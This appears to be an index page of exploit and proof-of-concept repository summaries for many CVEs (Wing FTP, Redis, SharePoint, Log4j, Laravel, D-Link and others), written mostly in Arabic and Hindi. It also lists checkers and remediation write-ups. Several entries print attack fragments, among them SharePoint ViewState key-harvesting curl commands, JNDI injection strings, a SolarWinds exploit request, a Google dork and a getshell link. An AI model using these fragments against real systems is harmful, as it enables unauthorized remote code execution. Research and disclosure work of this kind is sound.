CVE-2024-4577-checker

مدقق الثغرة CVE-2024-4577 مدقق الثغرة CVE-2024-4577 هو سكربت Bash مصمم لمسح نطاقات متعددة بحثًا عن الثغرة CVE-2024-4577 في PHP-CGI. تتيح هذه الأداة للباحثين في مجال الأمن ومسؤولي الأنظمة تقييم ما إذا كانت أنظمتهم أو قائمة النطاقات معرضة لهذه المشكلة الأمنية المحددة بسرعة. الوصف في إصدارات PHP 8.1...

CVE-2025-47812

CVE-2025-47812 – تنفيذ أوامر عن بُعد في خادم Wing FTP عبر حقن Lua المؤلف: 0xgh057r3c0n 🧠 الوصف يستغل هذا الاستغلال ثغرة حقن Lua في معالج تسجيل الدخول loginok.html لخادم Wing FTP Server لتنفيذ أوامر نظام تشغيل عشوائية أو الحصول على شل عكسي. يسيء استخدام تنفيذ كود Lua غير المنظف عبر وسيط username. ...

redis-poc

Redis Authenticated RCE ثغرة NACK المزدوجة في stream، وأخطاء وحدتي TDigest وTopK استغلالات RCE غير مدمرة لـ Redis 6.2.22 و7.4.9 و8.6.4 عبر التحرير المزدوج المشترك لـ NACK في مجموعة مستهلكي البث تجاوز تصحيح CVE-2026-25243، و8.8.0 عبر تجاوز سعة الكومة في TDigest داخل وحدة RedisBloom المدمجة، و8.8.1...

CVE-2024-42640

CVE-2024-42640 angular-bug CVE-2024-42640 अप्रमाणित रिमोट कोड निष्पादन Angular-Base64-Upload लाइब्रेरी के माध्यम से अधिक जानकारी के लिए: ब्लॉग परिचय angular-base64-upload के v0.1.21 से पहले के संस्करण angular-base64-upload/demo/server.php एंडपॉइंट के माध्यम से अप्रमाणित रिमोट कोड निष्पादन के लिए...

CVE-2022-26133

CVE-2022-26133 जानकारी विवरण Atlassian Bitbucket Data Center के संस्करण 5.14.0 और बाद के, 7.6.14 से पहले, 7.7.0 और बाद के 7.17.6 से पहले, 7.18.0 और बाद के 7.18.4 से पहले, 7.19.0 और बाद के 7.19.4 से पहले, और 7.20.0 में SharedSecretClusterAuthenticator एक दूरस्थ, अप्रमाणित हमलावर को Java...

CVE-2024-6387-how-to-fix

CVE-2024-6387-how-to-fix भेद्यता उपचार और शमनCVE-2024-6387 CVE-2024-6387: OpenSSH में गंभीर RCE भेद्यता 'regreSSHion' मेरा LinkedIn लेख CVE Details विवरण Qualys थ्रेट रिसर्च यूनिट TRU ने 'regreSSHion' नामक एक गंभीर सुरक्षा दोष का विवरण दिया है जो लाखों Linux सिस्टम को रिमोट कोड एक्जीक्यूशन RCE के...

CVE-2019-16759

CVE-2019-16759 vBulletin 5.x ثغرة تنفيذ تعليمات برمجية عن بُعد دون مصادقة ملاحظة: بعض حزم الـ PoC المُرسلة يُرد عليها بـ 403 بدلاً من 200 تحقق مُحسَّن: echo md5'vBulletin'; تحقق من وجود be4ea51d962be8308a0099ae1eb3ec63 في حزمة الاستجابة. print r.text.split'be4ea51d962be8308a0099ae1eb3ec63'0...

CVE-2021-3129

रिमोट कोड एक्सिक्यूशन: Laravel CVE-2021-3129 📜 विवरण यह स्क्रिप्ट कई Laravel संस्करणों में पहचानी गई रिमोट कोड एक्सिक्यूशन RCE भेद्यता का शोषण करने के लिए डिज़ाइन की गई है, जिसे CVE-2021-3129 के रूप में जाना जाता है। इस भेद्यता का लाभ उठाकर, स्क्रिप्ट उपयोगकर्ताओं को एक असुरक्षित Laravel इंस्टेंस...

MoodleExploit

Moodle Exploit शोषण शीर्षक: Moodle v3.4.1 RCE Exploit Google Dork: inurl:"/course/jumpto.php?jump=" दिनांक: 15 March 2019 शोषण लेखक: Darryn Ten विक्रेता होमपेज: https://moodle.org सॉफ्टवेयर लिंक: https://github.com/moodle/moodle/archive/v3.4.1.zip संस्करण: 3.4.1 Possibly 3.5.0 and maybe even 3.x...

CVE-2021-41773

CVE-2021-41773 ساحة اختبار هذه وصفة صغيرة لـ Docker لإعداد حاوية تعتمد على Debian bookworm تحتوي على نسخة من Apache HTTPd 2.4.49 المعرضة لثغرة CVE-2021-41773. تم تفعيل CGI بشكل صريح حتى يمكن استخدامها لاختبار/التحقق من سلوك كشف الملفات المحلية Local file Disclosure وكذلك سلوك تنفيذ الأوامر عن بُع...

CVE-2021-22005_PoC

CVE-2021-22005PoC CVE-2021-22005PoC गेटशेल: https://gist.github.com/testanull/c2f6fd061c496ea90ddee151d6738d2e सत्यापन: https://github.com/knownsec/pocsuite3/blob/master/pocsuite3/pocs/20210923WEBVmwarevCenterServerFIleUploadCVE-2021-20050.py...

INPGer

INPGer | CVE-2022-4063 - InPost Gallery CVE-2022-4063 - InPost Gallery install.sh sha1sum install.sh | grep 12345678 md5sum install.sh sha512sum install.sh bash install.sh उपयोग कैसे करें bash inpger.sh yourlist.txt thread संदर्भ https://vulners.com/cve/CVE-2022-4063...

Writing-Sample-1

Log4j: CVE-2021-44228 Log4j भेद्यता और शमन का सारांश विषय सूची 1. कार्यकारी सारांश 2. भेद्य एंडपॉइंट्स और सेवाओं की पहचान 3. शमन A. सीमा पर अवरोधन B. सर्वर एंडपॉइंट्स पर एंडपॉइंट डिटेक्शन एंड रिस्पॉन्स EDR स्थापित करें C. भेद्य एंटरप्राइज ऐप्स को F5 के पीछे रखें 4. संसाधन और अतिरिक्त पठन कार्यकार...

CVE-2020-26217-XStream-RCE-POC

CVE-2020-26217-XStream-RCE-POC उदाहरण package org.example; import com.thoughtworks.xstream.XStream; import java.io.IOException; public class CVE202026217 public static void mainString args throws IOException XStream xStream = new XStream; String payload = "\n" + " \n" + " \n" + " 0\n" + " \n" + "...

CVE-2023-41425

CVE-2023-41425 विवरण Wonder CMS v.3.2.0 से v.3.4.2 में क्रॉस साइट स्क्रिप्टिंग भेद्यता एक दूरस्थ हमलावर को installModule घटक पर अपलोड की गई एक निर्मित स्क्रिप्ट के माध्यम से मनमाना कोड निष्पादित करने की अनुमति देती है। कार्यप्रणाली संलग्न शोषण "exploit.py" निम्नलिखित कार्य करता है: 1. यह 3 तर्क...

CVE-2024-10914

CVE-2024-10914 - استغلال تنفيذ الكود عن بُعد RCE لأجهزة D-Link هذا السكربت هو اختبار إثبات المفهوم PoC لاستغلال CVE-2024-10914، وهي ثغرة تنفيذ كود عن بُعد في بعض أجهزة D-Link. يقوم السكربت بتحديد الأجهزة المعرضة للخطر واستغلالها لتنفيذ أوامر عشوائية. ملاحظة: يجب استخدام هذا السكربت للأغراض...

CVE-2020-7247

CVE 2020-7247 استغلال PoC لـ OpenSMTPD 6.4.0...

CVE-2021-35215

CVE-2021-35215 SolarWinds Orion Platform ActionPluginBaseView डिसीरियलाइज़ेशन RCE, लॉगिन आवश्यक। PoC POST /Orion/RenderControl.aspx HTTP/1.1 Host: 192.168.137.130:8787 Content-Length: 3648 Cache-Control: max-age=0 Origin: http://192.168.137.130:8787 Upgrade-Insecure-Requests: 1 DNT: 1 Content-Typ...

CVE-2025-53770-Exploit

CVE-2025-53770-Exploit أولاً، احصل على قيم VIEWSTATEGENERATOR وVALIDATIONKEY وVALIDATIONALG من صفحة SharePoint المستهدفة: curl -s https://target.com/layouts/15/start.aspx | grep -oP 'VIEWSTATEGENERATOR" value="\K^"+' curl https://target.com/layouts/15/spinstall0.aspx ثم أنشئ حمولة ViewState لـ...

CVE-2021-44228-Demo

CVE-2021-44228-Demo مثال على استغلال CVE-2021-44228 لحقن الكود عن بُعد عبر كل من RMI و LDAP. Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit تشغيل RmiServer و LdapServ...